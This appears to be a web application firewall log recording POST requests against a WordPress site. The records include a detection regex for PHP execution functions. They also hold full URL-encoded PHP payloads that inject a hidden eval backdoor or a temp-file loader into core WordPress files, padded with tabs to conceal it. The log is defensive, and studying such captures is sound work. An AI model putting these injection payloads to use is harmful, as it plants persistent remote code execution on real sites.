0=71\n\nAf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ZxpCBX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:42:59","51.161.216.95","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ZxpCBX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2045\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHSxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nPY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ZxpCBX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:43:23","195.250.29.165","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ZxpCBX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2068\nsec-fetch-site:none\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ZxpCBX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 14:45:01","77.73.233.48","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522o%255Cx62%255Cx6A%2522%2529%2529%257B%2520%2524symbol%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2524_REQUEST%255B%2522o%255Cx62%255Cx6A%2522%255D%253B%2520%2524fac%2520%253Dexplode%2520%2528%2527.%2527%2520%252C%2524fac%2520%2529%2520%253B%2520%2524data%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2520%2524salt%2529%253B%2520%2524l%2520%253D%25200%253B%2520foreach%2528%2520%2524fac%2520as%2520%2524v5%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E89%253B%2520%2524data.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524l%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524symbol%2520as%2520%2524object%2529%253A%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524value%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524object%252C%2520%2522.tkn%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524value%252C%2520%2524data%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524value%253B%2520unlink%2528%2524value%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4383\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD0bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nCJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522o%255Cx62%255Cx6A%2522%2529%2529%257B%2520%2524symbol%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2524_REQUEST%255B%2522o%255Cx62%255Cx6A%2522%255D%253B%2520%2524fac%2520%253Dexplode%2520%2528%2527.%2527%2520%252C%2524fac%2520%2529%2520%253B%2520%2524data%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2520%2524salt%2529%253B%2520%2524l%2520%253D%25200%253B%2520foreach%2528%2520%2524fac%2520as%2520%2524v5%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E89%253B%2520%2524data.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524l%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524symbol%2520as%2520%2524object%2529%253A%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524value%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524object%252C%2520%2522.tkn%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524value%252C%2520%2524data%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524value%253B%2520unlink%2528%2524value%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:45:16","167.71.226.156","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522o%255Cx62%255Cx6A%2522%2529%2529%257B%2520%2524symbol%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2524_REQUEST%255B%2522o%255Cx62%255Cx6A%2522%255D%253B%2520%2524fac%2520%253Dexplode%2520%2528%2527.%2527%2520%252C%2524fac%2520%2529%2520%253B%2520%2524data%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2520%2524salt%2529%253B%2520%2524l%2520%253D%25200%253B%2520foreach%2528%2520%2524fac%2520as%2520%2524v5%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E89%253B%2520%2524data.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524l%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524symbol%2520as%2520%2524object%2529%253A%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524value%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524object%252C%2520%2522.tkn%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524value%252C%2520%2524data%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524value%253B%2520unlink%2528%2524value%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4383\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHRbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nPJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522o%255Cx62%255Cx6A%2522%2529%2529%257B%2520%2524symbol%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2524_REQUEST%255B%2522o%255Cx62%255Cx6A%2522%255D%253B%2520%2524fac%2520%253Dexplode%2520%2528%2527.%2527%2520%252C%2524fac%2520%2529%2520%253B%2520%2524data%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2520%2524salt%2529%253B%2520%2524l%2520%253D%25200%253B%2520foreach%2528%2520%2524fac%2520as%2520%2524v5%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E89%253B%2520%2524data.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524l%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524symbol%2520as%2520%2524object%2529%253A%2520if%2520%2528%2528bool%2529i